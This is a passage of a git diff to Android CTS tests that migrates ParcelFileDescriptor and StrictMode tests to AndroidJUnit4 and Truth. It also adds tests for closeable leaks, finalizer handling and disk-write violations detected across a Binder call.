</application>
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
index 4225de0..24b0f6a 100644
--- a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
@@ -191,7 +191,7 @@
"EGL_KHR_wait_sync",
};
- for (int i = 0; i < requiredList.length; ++i) {
+ for (int i = 0; i < requiredEglList.length; ++i) {
assertTrue("Required EGL extension for VR high-performance is missing: " +
requiredEglList[i], hasExtension(extensions, requiredEglList[i]));
}
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 1aa46cc..d826a72 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -28,6 +28,7 @@
android-support-test \
compatibility-device-util \
ctstestrunner \
+ truth-prebuilt \
guava \
junit \
legacy-android-test
diff --git a/tests/tests/os/src/android/os/cts/CtsRemoteService.java b/tests/tests/os/src/android/os/cts/CtsRemoteService.java
index daae49e..a0d5974 100644
--- a/tests/tests/os/src/android/os/cts/CtsRemoteService.java
+++ b/tests/tests/os/src/android/os/cts/CtsRemoteService.java
@@ -20,8 +20,10 @@
import android.content.Intent;
import android.os.IBinder;
import android.os.Process;
+import java.io.File;
+import java.io.IOException;
-public class CtsRemoteService extends Service{
+public class CtsRemoteService extends Service {
@Override
public void onCreate() {
@@ -41,6 +43,15 @@
public String getTimeZoneID() {
return java.util.TimeZone.getDefault().getID();
}
+
+ public boolean performDiskWrite() {
+ try {
+ File tempFile = File.createTempFile("foo", "bar");
+ return tempFile.delete();
+ } catch (IOException exception) {
+ return false;
+ }
+ }
};
@Override
@@ -50,5 +61,4 @@
}
return null;
}
-
}
diff --git a/tests/tests/os/src/android/os/cts/ISecondary.aidl b/tests/tests/os/src/android/os/cts/ISecondary.aidl
index 2c60149..183e2d5 100644
--- a/tests/tests/os/src/android/os/cts/ISecondary.aidl
+++ b/tests/tests/os/src/android/os/cts/ISecondary.aidl
@@ -23,4 +23,6 @@
long getElapsedCpuTime();
String getTimeZoneID();
+
+ boolean performDiskWrite();
}
diff --git a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
index 4679a99..38651d7 100644
--- a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
@@ -16,6 +16,13 @@
package android.os.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import android.content.Context;
import android.os.Handler;
import android.os.Looper;
@@ -24,13 +31,20 @@
import android.os.ParcelFileDescriptor.AutoCloseInputStream;
import android.os.Parcelable;
import android.os.cts.ParcelFileDescriptorPeer.FutureCloseListener;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
import android.test.MoreAsserts;
import com.google.common.util.concurrent.AbstractFuture;
import junit.framework.ComparisonFailure;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.io.File;
import java.io.FileDescriptor;
import java.io.FileInputStream;
@@ -43,9 +57,15 @@
import java.net.Socket;
import java.util.concurrent.TimeUnit;
-public class ParcelFileDescriptorTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class ParcelFileDescriptorTest {
private static final long DURATION = 100l;
+ private Context getContext() {
+ return InstrumentationRegistry.getContext();
+ }
+
+ @Test
public void testConstructorAndOpen() throws Exception {
ParcelFileDescriptor tempFile = makeParcelFileDescriptor(getContext());
@@ -73,6 +93,7 @@
}
}
+ @Test
public void testFromSocket() throws Throwable {
final int PORT = 12222;
final int DATA = 1;
@@ -111,6 +132,7 @@
done.get(5, TimeUnit.SECONDS);
}
+ @Test
public void testFromData() throws IOException {
assertNull(ParcelFileDescriptor.fromData(null, null));
byte[] data = new byte[] { 0 };
@@ -143,6 +165,7 @@
}
}
+ @Test
public void testFromDataSkip() throws IOException {
byte[] data = new byte[] { 40, 41, 42, 43, 44, 45, 46 };
ParcelFileDescriptor pfd = ParcelFileDescriptor.fromData(data, null);
@@ -164,11 +187,13 @@
}
}
+ @Test
public void testToString() {
ParcelFileDescriptor pfd = ParcelFileDescriptor.fromSocket(new Socket());
assertNotNull(pfd.toString());
}
+ @Test
public void testWriteToParcel() throws Exception {
ParcelFileDescriptor pf = makeParcelFileDescriptor(getContext());
@@ -188,6 +213,7 @@
}
}
+ @Test
public void testClose() throws Exception {
ParcelFileDescriptor pf = makeParcelFileDescriptor(getContext());
AutoCloseInputStream in1 = new AutoCloseInputStream(pf);
@@ -210,11 +236,13 @@
}
}
+ @Test
public void testGetStatSize() throws Exception {
ParcelFileDescriptor pf = makeParcelFileDescriptor(getContext());
assertTrue(pf.getStatSize() >= 0);
}
+ @Test
public void testGetFileDescriptor() {
ParcelFileDescriptor pfd = ParcelFileDescriptor.fromSocket(new Socket());
assertNotNull(pfd.getFileDescriptor());
@@ -223,6 +251,7 @@
assertSame(pfd.getFileDescriptor(), p.getFileDescriptor());
}
+ @Test
public void testDescribeContents() {
ParcelFileDescriptor pfd = ParcelFileDescriptor.fromSocket(new Socket());
assertTrue((Parcelable.CONTENTS_FILE_DESCRIPTOR & pfd.describeContents()) != 0);
@@ -247,6 +276,7 @@
return new FileInputStream(pfd.getFileDescriptor()).read();
}
+ @Test
public void testPipeNormal() throws Exception {
final ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createReliablePipe();
final ParcelFileDescriptor red = pipe[0];
@@ -262,6 +292,7 @@
// Reading should be done via AutoCloseInputStream if possible, rather than
// recreating a FileInputStream from a raw FD, what's done in read(PFD).
+ @Test
public void testPipeError_Discouraged() throws Exception {
final ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createReliablePipe();
final ParcelFileDescriptor red = pipe[0];
@@ -281,6 +312,7 @@
}
}
+ @Test
public void testPipeError() throws Exception {
final ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createReliablePipe();
final ParcelFileDescriptor red = pipe[0];
@@ -298,6 +330,7 @@
}
}
+ @Test
public void testFileNormal() throws Exception {
final Handler handler = new Handler(Looper.getMainLooper());
final FutureCloseListener listener = new FutureCloseListener();
@@ -312,6 +345,7 @@
assertEquals(null, listener.get());
}
+ @Test
public void testFileError() throws Exception {
final Handler handler = new Handler(Looper.getMainLooper());
final FutureCloseListener listener = new FutureCloseListener();
@@ -326,6 +360,7 @@
assertContains("OMG BANANAS", listener.get().getMessage());
}
+ @Test
public void testFileDetach() throws Exception {
final Handler handler = new Handler(Looper.getMainLooper());
final FutureCloseListener listener = new FutureCloseListener();
@@ -339,6 +374,7 @@
assertContains("DETACHED", listener.get().getMessage());
}
+ @Test
public void testSocketErrorAfterClose() throws Exception {
final ParcelFileDescriptor[] pair = ParcelFileDescriptor.createReliableSocketPair();
final ParcelFileDescriptor red = pair[0];
@@ -361,6 +397,7 @@
blue.checkError();
}
+ @Test
public void testSocketMultipleCheck() throws Exception {
final ParcelFileDescriptor[] pair = ParcelFileDescriptor.createReliableSocketPair();
final ParcelFileDescriptor red = pair[0];
@@ -382,6 +419,7 @@
}
// http://b/21578056
+ @Test
public void testFileNamesWithNonBmpChars() throws Exception {
final File file = File.createTempFile("treble_clef_\ud834\udd1e", ".tmp");
final ParcelFileDescriptor pfd = ParcelFileDescriptor.open(file,
@@ -390,6 +428,57 @@
pfd.close();
}
+ @Test
+ public void testCheckFinalizerBehavior() throws Exception {
+ final Runtime runtime = Runtime.getRuntime();
+ ParcelFileDescriptor pfd = makeParcelFileDescriptor(getContext());
+ assertTrue(checkIsValid(pfd.getFileDescriptor()));
+
+ ParcelFileDescriptor wrappedPfd = new ParcelFileDescriptor(pfd);
+ assertTrue(checkIsValid(wrappedPfd.getFileDescriptor()));
+
+ FileDescriptor fd = pfd.getFileDescriptor();
+ int rawFd = pfd.getFd();
+ pfd = null;
+ assertNull(pfd); // To keep tools happy - yes we are using the write to null
+ runtime.gc(); runtime.runFinalization();
+ assertTrue("Wrapped PFD failed to hold reference",
+ checkIsValid(wrappedPfd.getFileDescriptor()));
+ assertTrue("FileDescriptor failed to hold reference", checkIsValid(fd));
+
+ wrappedPfd = null;
+ assertNull(wrappedPfd); // To keep tools happy - yes we are using the write to null
+ runtime.gc(); runtime.runFinalization();
+ // TODO: Enable this once b/65027998 is fixed
+ //assertTrue("FileDescriptor failed to hold reference", checkIsValid(fd));
+
+ fd = null;
+ assertNull(fd); // To keep tools happy - yes we are using the write to null
+ runtime.gc(); runtime.runFinalization();
+
+ try {
+ ParcelFileDescriptor.fromFd(rawFd);
+ fail("FD leaked");
+ } catch (IOException ex) {
+ // Success
+ }
+ }
+
+ boolean checkIsValid(FileDescriptor fd) {
+ try {
+ Os.fstat(fd);
+ return true;
+ } catch (ErrnoException e) {
+ if (e.errno == OsConstants.EBADF) {
+ return false;
+ } else {
+ fail(e.getMessage());
+ // not reached
+ return false;
+ }
+ }
+ }
+
static ParcelFileDescriptor makeParcelFileDescriptor(Context con) throws Exception {
final String fileName = "testParcelFileDescriptor";
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index 21730c6..7c0d320 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -16,340 +16,472 @@
package android.os.cts;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
+import android.content.ServiceConnection;
import android.content.pm.PackageManager;
import android.net.TrafficStats;
import android.net.Uri;
+import android.os.IBinder;
+import android.os.RemoteException;
import android.os.StrictMode;
-import android.os.StrictMode.ViolationListener;
+import android.os.StrictMode.ThreadPolicy.Builder;
+import android.os.StrictMode.ViolationInfo;
+import android.os.strictmode.UntaggedSocketViolation;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
import android.system.Os;
import android.system.OsConstants;
-import android.test.InstrumentationTestCase;
import android.util.Log;
-
import java.io.File;
import java.io.FileDescriptor;
import java.io.FileInputStream;
+import java.io.FileNotFoundException;
import java.io.FileOutputStream;
+import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.Socket;
import java.net.URL;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutionException;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
-/**
- * Tests for {@link StrictMode}
- */
-public class StrictModeTest extends InstrumentationTestCase {
+/** Tests for {@link StrictMode} */
+@RunWith(AndroidJUnit4.class)
+public class StrictModeTest {
private static final String TAG = "StrictModeTest";
+ private static final String REMOTE_SERVICE_ACTION = "android.app.REMOTESERVICE";
private StrictMode.ThreadPolicy mThreadPolicy;
private StrictMode.VmPolicy mVmPolicy;
private Context getContext() {
- return getInstrumentation().getContext();
+ return InstrumentationRegistry.getContext();
}
- @Override
- protected void setUp() {
+ @Before
+ public void setUp() {
mThreadPolicy = StrictMode.getThreadPolicy();
mVmPolicy = StrictMode.getVmPolicy();
}
- @Override
- protected void tearDown() {
+ @After
+ public void tearDown() {
StrictMode.setThreadPolicy(mThreadPolicy);
StrictMode.setVmPolicy(mVmPolicy);
}
public interface ThrowingRunnable {
- public void run() throws Exception;
+ void run() throws Exception;
}
- /**
- * Insecure connection should be detected
- */
+ @Test
+ public void testUnclosedCloseable() throws Exception {
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder().detectLeakedClosableObjects().build());
+
+ inspectViolation(
+ () -> leakCloseable("leaked.txt"),
+ info -> {
+ assertThat(info.getViolationDetails())
+ .isEqualTo(
+ "A resource was acquired at attached stack trace but never released. See java.io.Closeable for information on avoiding resource leaks.");
+ assertThat(info.getStackTrace())
+ .contains("Explicit termination method 'close' not called");
+ assertThat(info.getStackTrace()).contains("leakCloseable");
+ assertPolicy(info, StrictMode.DETECT_VM_CLOSABLE_LEAKS);
+ });
+ }
+
+ private void leakCloseable(String fileName) throws InterruptedException {
+ final CountDownLatch finalizedSignal = new CountDownLatch(1);
+ try {
+ new FileOutputStream(new File(getContext().getFilesDir(), fileName)) {
+ @Override
+ protected void finalize() throws IOException {
+ super.finalize();
+ finalizedSignal.countDown();
+ }
+ };
+ } catch (FileNotFoundException e) {
+ throw new RuntimeException(e);
+ }
+ Runtime.getRuntime().gc();
+ Runtime.getRuntime().runFinalization();
+ // Sometimes it needs extra prodding.
+ if (!finalizedSignal.await(5, TimeUnit.SECONDS)) {
+ Runtime.getRuntime().gc();
+ Runtime.getRuntime().runFinalization();
+ }
+ }
+
+ @Test
+ public void testClassInstanceLimit() throws Exception {
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder()
+ .setClassInstanceLimit(LimitedClass.class, 1)
+ .build());
+ List<LimitedClass> references = new ArrayList<>();
+ assertNoViolation(() -> references.add(new LimitedClass()));
+ references.add(new LimitedClass());
+ inspectViolation(
+ StrictMode::conditionallyCheckInstanceCounts,
+ info -> assertPolicy(info, StrictMode.DETECT_VM_INSTANCE_LEAKS));
+ }
+
+ private static final class LimitedClass {}
+
+ /** Insecure connection should be detected */
+ @Test
public void testCleartextNetwork() throws Exception {
if (!hasInternetConnection()) {
Log.i(TAG, "testCleartextNetwork() ignored on device without Internet");
return;
}
- StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
- .detectCleartextNetwork()
- .penaltyLog()
- .build());
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder().detectCleartextNetwork().penaltyLog().build());
- assertViolation("Detected cleartext network traffic from UID", () -> {
- ((HttpURLConnection) new URL("http://example.com/").openConnection())
- .getResponseCode();
- });
+ inspectViolation(
+ () ->
+ ((HttpURLConnection) new URL("http://example.com/").openConnection())
+ .getResponseCode(),
+ info -> {
+ assertThat(info.getViolationDetails()).contains("example.com");
+ assertThat(info.getViolationDetails())
+ .startsWith(StrictMode.CLEARTEXT_DETECTED_MSG);
+ assertPolicy(info, StrictMode.DETECT_VM_CLEARTEXT_NETWORK);
+ });
}
- /**
- * Secure connection should be ignored
- */
+ /** Secure connection should be ignored */
+ @Test
public void testEncryptedNetwork() throws Exception {
if (!hasInternetConnection()) {
Log.i(TAG, "testEncryptedNetwork() ignored on device without Internet");
return;
}
- StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
- .detectCleartextNetwork()
- .penaltyLog()
- .build());
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder().detectCleartextNetwork().penaltyLog().build());
- assertNoViolation(() -> {
- ((HttpURLConnection) new URL("https://example.com/").openConnection())
- .getResponseCode();
- });
+ assertNoViolation(
+ () ->
+ ((HttpURLConnection) new URL("https://example.com/").openConnection())
+ .getResponseCode());
}
+ @Test
public void testFileUriExposure() throws Exception {
- StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
- .detectFileUriExposure()
- .penaltyLog()
- .build());
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder().detectFileUriExposure().penaltyLog().build());
final Uri badUri = Uri.fromFile(new File("/sdcard/meow.jpg"));
- assertViolation(badUri + " exposed beyond app", () -> {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.setDataAndType(badUri, "image/jpeg");
- getContext().startActivity(intent);
- });
+ inspectViolation(
+ () -> {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setDataAndType(badUri, "image/jpeg");
+ getContext().startActivity(intent);
+ },
+ violation -> {
+ assertThat(violation.getStackTrace()).contains(badUri + " exposed beyond app");
+ });
final Uri goodUri = Uri.parse("content://com.example/foobar");
- assertNoViolation(() -> {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.setDataAndType(goodUri, "image/jpeg");
- getContext().startActivity(intent);
- });
+ assertNoViolation(
+ () -> {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setDataAndType(goodUri, "image/jpeg");
+ getContext().startActivity(intent);
+ });
}
+ @Test
public void testContentUriWithoutPermission() throws Exception {
- StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
- .detectContentUriWithoutPermission()
- .penaltyLog()
- .build());
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder()
+ .detectContentUriWithoutPermission()
+ .penaltyLog()
+ .build());
final Uri uri = Uri.parse("content://com.example/foobar");
- assertViolation(uri + " exposed beyond app", () -> {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.setDataAndType(uri, "image/jpeg");
- getContext().startActivity(intent);
- });
+ inspectViolation(
+ () -> {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setDataAndType(uri, "image/jpeg");
+ getContext().startActivity(intent);
+ },
+ violation ->
+ assertThat(violation.getStackTrace())
+ .contains(uri + " exposed beyond app"));
- assertNoViolation(() -> {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.setDataAndType(uri, "image/jpeg");
- intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
- getContext().startActivity(intent);
- });
+ assertNoViolation(
+ () -> {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setDataAndType(uri, "image/jpeg");
+ intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ getContext().startActivity(intent);
+ });
}
+ @Test
public void testUntaggedSocketsHttp() throws Exception {
if (!hasInternetConnection()) {
Log.i(TAG, "testUntaggedSockets() ignored on device without Internet");
return;
}
- StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
- .detectUntaggedSockets()
- .penaltyLog()
- .build());
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder().detectUntaggedSockets().penaltyLog().build());
- assertViolation("Untagged socket detected", () -> {
- ((HttpURLConnection) new URL("http://example.com/").openConnection())
- .getResponseCode();
- });
+ inspectViolation(
+ () ->
+ ((HttpURLConnection) new URL("http://example.com/").openConnection())
+ .getResponseCode(),
+ violation ->
+ assertThat(violation.getStackTrace())
+ .contains(UntaggedSocketViolation.MESSAGE));
- assertNoViolation(() -> {
- TrafficStats.setThreadStatsTag(0xDECAFBAD);
- try {
- ((HttpURLConnection) new URL("http://example.com/").openConnection())
- .getResponseCode();
- } finally {
- TrafficStats.clearThreadStatsTag();
- }
- });
+ assertNoViolation(
+ () -> {
+ TrafficStats.setThreadStatsTag(0xDECAFBAD);
+ try {
+ ((HttpURLConnection) new URL("http://example.com/").openConnection())
+ .getResponseCode();
+ } finally {
+ TrafficStats.clearThreadStatsTag();
+ }
+ });
}
+ @Test
public void testUntaggedSocketsRaw() throws Exception {
if (!hasInternetConnection()) {
Log.i(TAG, "testUntaggedSockets() ignored on device without Internet");
return;
}
- StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
- .detectUntaggedSockets()
- .penaltyLog()
- .build());
+ StrictMode.setVmPolicy(
+ new StrictMode.VmPolicy.Builder().detectUntaggedSockets().penaltyLog().build());
- assertNoViolation(() -> {
- TrafficStats.setThreadStatsTag(0xDECAFBAD);
- try (Socket socket = new Socket("example.com", 80)) {
- socket.getOutputStream().close();
- } finally {
- TrafficStats.clearThreadStatsTag();
- }
- });
+ assertNoViolation(
+ () -> {
+ TrafficStats.setThreadStatsTag(0xDECAFBAD);
+ try (Socket socket = new Socket("example.com", 80)) {
+ socket.getOutputStream().close();
+ } finally {
+ TrafficStats.clearThreadStatsTag();
+ }
+ });
- assertViolation("Untagged socket detected", () -> {
- try (Socket socket = new Socket("example.com", 80)) {
- socket.getOutputStream().close();
- }
- });
+ inspectViolation(
+ () -> {
+ try (Socket socket = new Socket("example.com", 80)) {
+ socket.getOutputStream().close();
+ }
+ },
+ violation ->
+ assertThat(violation.getStackTrace())
+ .contains(UntaggedSocketViolation.MESSAGE));
}
+ private static final int PERMISSION_USER_ONLY = 0600;
+
+ @Test
public void testRead() throws Exception {
final File test = File.createTempFile("foo", "bar");
final File dir = test.getParentFile();
final FileInputStream is = new FileInputStream(test);
- final FileDescriptor fd = Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
+ final FileDescriptor fd =
+ Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, PERMISSION_USER_ONLY);
- StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
- .detectDiskReads()
- .penaltyLog()
- .build());
+ StrictMode.setThreadPolicy(
+ new StrictMode.ThreadPolicy.Builder().detectDiskReads().penaltyLog().build());
+ inspectViolation(
+ test::exists,
+ violation -> {
+ assertThat(violation.getViolationDetails()).isNull();
+ assertThat(violation.getStackTrace()).contains("DiskReadViolation");
+ });
- assertViolation("StrictModeDiskReadViolation", () -> {
- test.exists();
- });
- assertViolation("StrictModeDiskReadViolation", () -> {
- test.length();
- });
- assertViolation("StrictModeDiskReadViolation", () -> {
- dir.list();
- });
- assertViolation("StrictModeDiskReadViolation", () -> {
- new FileInputStream(test);
- });
- assertViolation("StrictModeDiskReadViolation", () -> {
- is.read();
- });
- assertViolation("StrictModeDiskReadViolation", () -> {
- Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
- });
- assertViolation("StrictModeDiskReadViolation", () -> {
- Os.read(fd, new byte[10], 0, 1);
- });
+ Consumer<ViolationInfo> assertDiskReadPolicy =
+ violation -> assertPolicy(violation, StrictMode.DETECT_DISK_READ);
+ inspectViolation(test::exists, assertDiskReadPolicy);
+ inspectViolation(test::length, assertDiskReadPolicy);
+ inspectViolation(dir::list, assertDiskReadPolicy);
+ inspectViolation(is::read, assertDiskReadPolicy);
+
+ inspectViolation(() -> new FileInputStream(test), assertDiskReadPolicy);
+ inspectViolation(
+ () -> Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, PERMISSION_USER_ONLY),
+ assertDiskReadPolicy);
+ inspectViolation(() -> Os.read(fd, new byte[10], 0, 1), assertDiskReadPolicy);
}
+ @Test
public void testWrite() throws Exception {
File file = File.createTempFile("foo", "bar");
final FileOutputStream os = new FileOutputStream(file);
- final FileDescriptor fd = Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, 0600);
+ final FileDescriptor fd =
+ Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, PERMISSION_USER_ONLY);
- StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
- .detectDiskWrites()
- .penaltyLog()
- .build());
+ StrictMode.setThreadPolicy(
+ new StrictMode.ThreadPolicy.Builder().detectDiskWrites().penaltyLog().build());
- assertViolation("StrictModeDiskWriteViolation", () -> {
- File.createTempFile("foo", "bar");
- });
- assertViolation("StrictModeDiskWriteViolation", () -> {
- file.delete();
- });
- assertViolation("StrictModeDiskWriteViolation", () -> {
- file.createNewFile();
- });
- assertViolation("StrictModeDiskWriteViolation", () -> {
- new FileOutputStream(file);
- });
- assertViolation("StrictModeDiskWriteViolation", () -> {
- os.write(32);
- });
- assertViolation("StrictModeDiskWriteViolation", () -> {
- Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, 0600);
- });
- assertViolation("StrictModeDiskWriteViolation", () -> {
- Os.write(fd, new byte[10], 0, 1);
- });
- assertViolation("StrictModeDiskWriteViolation", () -> {
- Os.fsync(fd);
- });
- assertViolation("StrictModeDiskWriteViolation", () -> {
- file.renameTo(new File(file.getParent(), "foobar"));
- });
+ inspectViolation(
+ file::createNewFile,
+ violation -> {
+ assertThat(violation.getViolationDetails()).isNull();
+ assertThat(violation.getStackTrace()).contains("DiskWriteViolation");
+ });
+
+ Consumer<ViolationInfo> assertDiskWritePolicy =
+ violation -> assertPolicy(violation, StrictMode.DETECT_DISK_WRITE);
+
+ inspectViolation(() -> File.createTempFile("foo", "bar"), assertDiskWritePolicy);
+ inspectViolation(() -> new FileOutputStream(file), assertDiskWritePolicy);
+ inspectViolation(file::delete, assertDiskWritePolicy);
+ inspectViolation(file::createNewFile, assertDiskWritePolicy);
+ inspectViolation(() -> os.write(32), assertDiskWritePolicy);
+
+ inspectViolation(
+ () -> Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, PERMISSION_USER_ONLY),
+ assertDiskWritePolicy);
+ inspectViolation(() -> Os.write(fd, new byte[10], 0, 1), assertDiskWritePolicy);
+ inspectViolation(() -> Os.fsync(fd), assertDiskWritePolicy);
+ inspectViolation(
+ () -> file.renameTo(new File(file.getParent(), "foobar")), assertDiskWritePolicy);
}
+ @Test
public void testNetwork() throws Exception {
if (!hasInternetConnection()) {
Log.i(TAG, "testUntaggedSockets() ignored on device without Internet");
return;
}
- StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
- .detectNetwork()
- .penaltyLog()
- .build());
+ StrictMode.setThreadPolicy(
+ new StrictMode.ThreadPolicy.Builder().detectNetwork().penaltyLog().build());
- assertViolation("StrictModeNetworkViolation", () -> {
- try (Socket socket = new Socket("example.com", 80)) {
- socket.getOutputStream().close();
- }
- });
+ inspectViolation(
+ () -> {
+ try (Socket socket = new Socket("example.com", 80)) {
+ socket.getOutputStream().close();
+ }
+ },
+ violation -> assertPolicy(violation, StrictMode.DETECT_NETWORK));
+ inspectViolation(
+ () ->
+ ((HttpURLConnection) new URL("http://example.com/").openConnection())
+ .getResponseCode(),
+ violation -> assertPolicy(violation, StrictMode.DETECT_NETWORK));
+ }
- assertViolation("StrictModeNetworkViolation", () -> {
- ((HttpURLConnection) new URL("http://example.com/").openConnection())
- .getResponseCode();
- });
+ @Test
+ public void testViolationAcrossBinder() throws Exception {
+ runWithRemoteServiceBound(
+ getContext(),
+ service -> {
+ StrictMode.setThreadPolicy(
+ new Builder().detectDiskWrites().penaltyLog().build());
+
+ try {
+ inspectViolation(
+ () -> service.performDiskWrite(),
+ (violation) -> {
+ assertPolicy(violation, StrictMode.DETECT_DISK_WRITE);
+ assertThat(violation.getViolationDetails())
+ .isNull(); // Disk write has no message.
+ assertThat(violation.getStackTrace())
+ .contains("DiskWriteViolation");
+ assertThat(violation.getStackTrace())
+ .contains(
+ "at android.os.StrictMode$AndroidBlockGuardPolicy.onWriteToDisk");
+ assertThat(violation.getStackTrace())
+ .contains("# via Binder call with stack:");
+ assertThat(violation.getStackTrace())
+ .contains(
+ "at android.os.cts.ISecondary$Stub$Proxy.performDiskWrite");
+ });
+ assertNoViolation(() -> service.getPid());
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ });
+ }
+
+ private static void runWithRemoteServiceBound(Context context, Consumer<ISecondary> consumer)
+ throws ExecutionException, InterruptedException, RemoteException {
+ BlockingQueue<IBinder> binderHolder = new ArrayBlockingQueue<>(1);
+ ServiceConnection secondaryConnection =
+ new ServiceConnection() {
+ public void onServiceConnected(ComponentName className, IBinder service) {
+ binderHolder.add(service);
+ }
+
+ public void onServiceDisconnected(ComponentName className) {
+ binderHolder.drainTo(new ArrayList<>());
+ }
+ };
+ Intent intent = new Intent(REMOTE_SERVICE_ACTION);
+ intent.setPackage(context.getPackageName());
+
+ Intent secondaryIntent = new Intent(ISecondary.class.getName());
+ secondaryIntent.setPackage(context.getPackageName());
+ assertThat(
+ context.bindService(
+ secondaryIntent, secondaryConnection, Context.BIND_AUTO_CREATE))
+ .isTrue();
+ IBinder binder = binderHolder.take();
+ assertThat(binder.queryLocalInterface(binder.getInterfaceDescriptor())).isNull();
+ consumer.accept(ISecondary.Stub.asInterface(binder));
+ context.unbindService(secondaryConnection);
+ context.stopService(intent);
}
private static void assertViolation(String expected, ThrowingRunnable r) throws Exception {
- final LinkedBlockingQueue<String> violations = new LinkedBlockingQueue<>();
- StrictMode.setViolationListener(new ViolationListener() {
- @Override
- public void onViolation(String message) {
- violations.add(message);
- }
- });
-
- try {
- r.run();
- while (true) {
- final String violation = violations.poll(5, TimeUnit.SECONDS);
- if (violation == null) {
- fail("Expected violation not found: " + expected);
- } else if (violation.contains(expected)) {
- return;
- }
- }
- } finally {
- StrictMode.setViolationListener(null);
- }
+ inspectViolation(r, violation -> assertThat(violation.getStackTrace()).contains(expected));
}
private static void assertNoViolation(ThrowingRunnable r) throws Exception {
- final LinkedBlockingQueue<String> violations = new LinkedBlockingQueue<>();
- StrictMode.setViolationListener(new ViolationListener() {
- @Override
- public void onViolation(String message) {
- violations.add(message);
- }
- });
+ inspectViolation(
+ r, violation -> assertWithMessage("Unexpected violation").that(violation).isNull());
+ }
+
+ private void assertPolicy(ViolationInfo info, int policy) {
+ assertWithMessage("Policy bit incorrect").that(info.getViolationBit()).isEqualTo(policy);
+ }
+
+ private static void inspectViolation(
+ ThrowingRunnable violating, Consumer<ViolationInfo> consume) throws Exception {
